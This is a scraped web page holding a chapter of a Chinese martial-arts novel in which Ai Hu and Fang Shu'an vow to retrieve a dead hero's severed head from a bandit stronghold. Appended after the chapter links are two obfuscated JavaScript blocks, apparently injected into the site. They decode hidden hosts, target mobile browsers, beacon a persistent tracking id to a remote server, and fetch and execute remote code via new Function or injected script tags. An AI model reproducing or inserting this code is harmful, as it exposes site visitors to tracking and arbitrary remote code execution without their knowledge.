严英云这才放心了。这些日子,里里外外的事情都由“亚侠女”出面,毕竟是一个女流,多有不便。这时,严英云就把一切事情交给他们,自己退归内室,守着灵堂。大伙儿又问事情的经过,严英云把以往的事情说了,艾虎恨得咬牙切齿,“嘿嘿,晏风,好小子,是你杀的我三哥,早晚我抓住你,我扒了你的皮,抽了你的筋。”

房书安提问道:“这么说,这棺材里只有我干老的身子,脑袋还没了?”

严英云点点头。“那可不行,不管怎么说,我干老得有个全尸呀,哪怕把脑袋请回来缝到腔子上,也不能把尸首分两处。”

艾虎点头,“书安,你说得太有理了。先想法把我三哥的头请回来,要不,咱太对不起他在天之灵了。”

白云生一晃脑袋,“老兄弟,你说这话谈何容易,人头让人家整到八宝叠云峰青松狼牙涧去了,听说人家还要祝贺人头会,咱们怎么能拿得来呢?”

艾虎冷笑一声,“大哥,这还用说吗,往回抢也得抢回来。你们大家在店房料理后事,等待开封府的老少英雄,我今天晚上就去,豁出命来,也得把我三哥的头请回来。“艾虎有个倔劲,他说出来,就能做到。房书安说:“老叔呀,咱们路上太乏了,你眼窝都塌陷了,好几天没吃东西了,怎么能打仗呢?为我干老,你也要好好睡觉,养足了精神,明儿一早,我陪你上山,你看怎么样?”

“书安你跟我一起去?”

“对!我陪着老叔到叠云峰青松狼牙涧。我可不是吹,想当初我是这座山上的四寨主,这座山当年还是我开辟的,山上的总辖大寨主‘半翅峰’王典很讲义气,我打算当面跟他交涉,把我干老的人头要回来,您看怎么样?”

严英云一听直晃脑袋:“书安啊,此言差矣。当初是当初,现在是现在,那会儿你是绿林人,现在你是开封府的官人啊!跟他们水火不相容,这样做太危险了。”

“唉呀,我的娘呀,为了我干老的事就是赴汤蹈火,没有二话可说,再说,我跟王典交情特殊。当年我要不救他,他早就喂狗了。王典曾经说过,早晚要报恩,我始终没让他报。现在机会来了,我不求别的,他把脑袋给我就行,论真格的,他能驳我的面子吗?退一步说,他即使驳我的面子,不给我,我顶多脑袋掉了到头了。大丈夫宁死阵前,不死阵后。为我干老我掉脑袋也心甘情愿。”

“好!”

艾虎拍拍房书安的肩头:“好小子,有骨气。明天老叔陪你一块儿去。各位,此事已定,不必多说了。该吃饭就吃饭,该睡觉就睡觉,养精蓄锐,跟这帮王八蛋好拼命。”


上一篇:修身养性的时期

下一篇:小义士双上叠云峰大头鬼舌战“半翅蜂”


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};